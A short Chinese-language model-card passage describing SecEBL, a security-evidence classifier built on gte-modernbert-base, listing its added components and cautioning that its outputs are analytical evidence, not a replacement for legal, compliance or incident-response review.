`Alibaba-NLP/gte-modernbert-base`,采用 Apache-2.0 许可证。SecEBL 增加了 Rev20 schema、私有训练/评估产物、L1 辅助工具、公开示例和实验性 L2 评分器。 请勿将此版本用作法律、合规、事件响应或生产授权审查的替代品。应将模型输出视为用于分析和下游策略的安全证据,而不是自动执行决策。
标签:AI模型, 凭据扫描, 安全运营, 安全遥测分析, 意图识别, 扫描框架, 逆向工具